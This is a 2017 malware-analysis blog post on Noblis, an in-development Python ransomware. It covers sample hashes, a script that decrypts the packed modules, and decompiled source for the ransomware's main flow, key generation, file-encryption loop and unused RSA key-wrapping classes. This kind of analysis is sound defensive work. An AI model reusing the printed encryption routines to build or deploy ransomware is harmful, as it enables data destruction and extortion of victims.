This is all about malware analysis, reverse engineering and some cool stuff

Wednesday 13 December 2017

Analysis of Noblis In-dev Ransomware

December 13, 2017 Posted by SDKHERE , , , No comments
Noblis is in-development ransomware which is built in python and packed by PyInstaller.
You can refer my previous blog to know how to identify and reverse python built execuctables.

We have following sample:
Hash : 3BEEE8D7F55CD8298FCB009AA6EF6AAE [App.Any]

The sample is UPX packed, after unpacking we get following sample.
Hash : A886E7FAB4A2F1B1B048C217B4969762

The binary has many python reference strings and a zlib archive appended to it as an overlay.
You can use PyExtractor tool to extract the python code from the binary.

After extraction we get AES encrypted python modules.
AES key is present in file pyimod00_crypto_key which is "9876501234DAVIDM" and you can use below script to extract those modules.

from Crypto.Cipher import AES
import zlib
import sys

CRYPT_BLOCK_SIZE = 16

# key obtained from pyimod00_crypto_key
key = '9876501234DAVIDM'

inf = open(sys.argv[1], 'rb') # encrypted file input
outf = open(sys.argv[1]+'.pyc', 'wb') # output file 

# Initialization vector
iv = inf.read(CRYPT_BLOCK_SIZE)

cipher = AES.new(key, AES.MODE_CFB, iv)

# Decrypt and decompress
plaintext = zlib.decompress(cipher.decrypt(inf.read()))

# Write pyc header
outf.write('\x03\xf3\x0d\x0a\0\0\0\0')

# Write decrypted data
outf.write(plaintext)

inf.close()
outf.close()

Let's move towards the ransomware.
On execution of ransomware, It creates a mutex of name "mutex_rr_windows", if the mutex is already created it will open only gui panel otherwise it runs crypter.
The main wrapper of this ransomware is below.

  def __init__(self):
    '''
    @summary: Constructor
    '''
    self.__config = self.__load_config()
    self.encrypted_file_list = os.path.join(os.environ['APPDATA'], "encrypted_files.txt")

    # Init Crypt Lib
    self.Crypt = Crypt.SymmetricCrypto()

    # FIRST RUN
    # Encrypt!
    if not os.path.isfile(self.encrypted_file_list):
      self.Crypt.init_keys()
      file_list = self.find_files()
      # Start encryption
      self.encrypt_files(file_list)
      # If no files were encrypted. do nothing 
      if not os.path.isfile(self.encrypted_file_list):
          return
      # Present GUI
      self.start_gui()
    # ALREADY ENCRYPTED
    # Present menu
    elif os.path.isfile(self.encrypted_file_list):
      self.start_gui()

It checks a file encrypted_files.txt in %APPDATA%, if it is not there it will proceed the encryption.
It initializes the encryption key, find the specified files for encryption, encrypt them, makes entry of each encrypted file in encrypted_files.txt and displays a gui form.



The ransomware has independent configuration file (runtime.cfg) which is loaded at runtime.
Configuration file has encrypted file extension, ransom note, file type to be encrypted, BTC amount, wallet address etc.



Here, wallet address is invalid that's why we are calling it in-development ransomware.
Ransom note is in Spanish and it points to an handle @4v4t4r.

Let's have a look at encryption process.

    def init_keys(self, key=None):
        """
        @summary: initialise the symmetric keys. Uses the provided key, or creates one
        @param key: If None provided, a new key is generated, otherwise the provided key is used
        """
        if not key:
            self.load_symmetric_key()
        else:
            self.key = key

    def load_symmetric_key(self):
        if os.path.isfile('key.txt'):
            fh = open('key.txt', 'r')
            self.key = fh.read()
            fh.close()
        else:
            self.key = self.generate_key()

    def generate_key(self):
        key = ('').join((random.choice('0123456789ABCDEF') for i in range(32)))
        fh = open('key.txt', 'w')
        fh.write(key)
        fh.close()
        return key
  
    def encrypt_file(self, file, extension):
        """
        @summary: Encrypts the target file
        @param file: Absolute path to the file to encrypt
        @param extension: The extension to add to the encrypted file
        """
        file_details = self.process_file(file, 'encrypt', extension)
        if file_details['error']:
            return False
        try:
            fh_read = open(file_details['full_path'], 'rb')
            fh_write = open(file_details['locked_path'], 'wb')
        except IOError:
            return False

        while True:
            block = fh_read.read(self.BLOCK_SIZE_BYTES)
            if not block:
                break
            to_encrypt = self.pad(block)
            iv = Random.new().read(AES.block_size)
            cipher = AES.new(self.key, AES.MODE_CBC, iv)
            try:
                ciphertext = iv + cipher.encrypt(to_encrypt)
            except MemoryError:
                return False

            fh_write.write(ciphertext)

        fh_write.close()
        fh_read.close()
        file_details['state'] = 'encrypted'
        return file_details['locked_path']

If key.txt is not present in current directory, It will generates a AES key of size 32 bytes and store it on key.txt and at the time of encryption it generates an Initial Vector (IV), encrypts the files with AES-256 having extensions specified in configuration file.
First 16 bytes of every encrypted file is IV and rest are encrypted with this IV and key stored in key.txt.

After encryption of every files it will start a GUI panel shown below.


Decryption tool -


The ransomware has the code for RSA encryption but it is not used here, maybe it will come with RSA encryption in next version.


class GenerateKeys:

    def __init__(self):
        self.local_public_key = ''
        self.local_private_key = ''
        self.key_length = 2048
        rsa_handle = RSA.generate(self.key_length)
        self.local_private_key = rsa_handle.exportKey('PEM')
        self.local_public_key = rsa_handle.publickey()
        self.local_public_key = self.local_public_key.exportKey('PEM')


class EncryptKey:

    def __init__(self, recipient_public_key, sym_key):
        self.recipient_public_key = recipient_public_key
        self.key_to_encrypt = str(sym_key)
        self.encrypted_key = self.encrypt_key()

    def encrypt_key(self):
        rsa_handle = RSA.importKey(self.recipient_public_key)
        key = rsa_handle.encrypt(self.key_to_encrypt, 1)
        return key


class DecryptKey:

    def __init__(self, private_key, sym_key, phrase):
        self.private_key = private_key
        self.key_to_decrypt = sym_key
        self.phrase = phrase
        self.decrypted_key = self.decrypt_key()

    def decrypt_key(self):
        rsa_handle = RSA.importKey(self.private_key, self.phrase)
        key = rsa_handle.decrypt(self.key_to_decrypt)
        return key



0 comments:

Post a Comment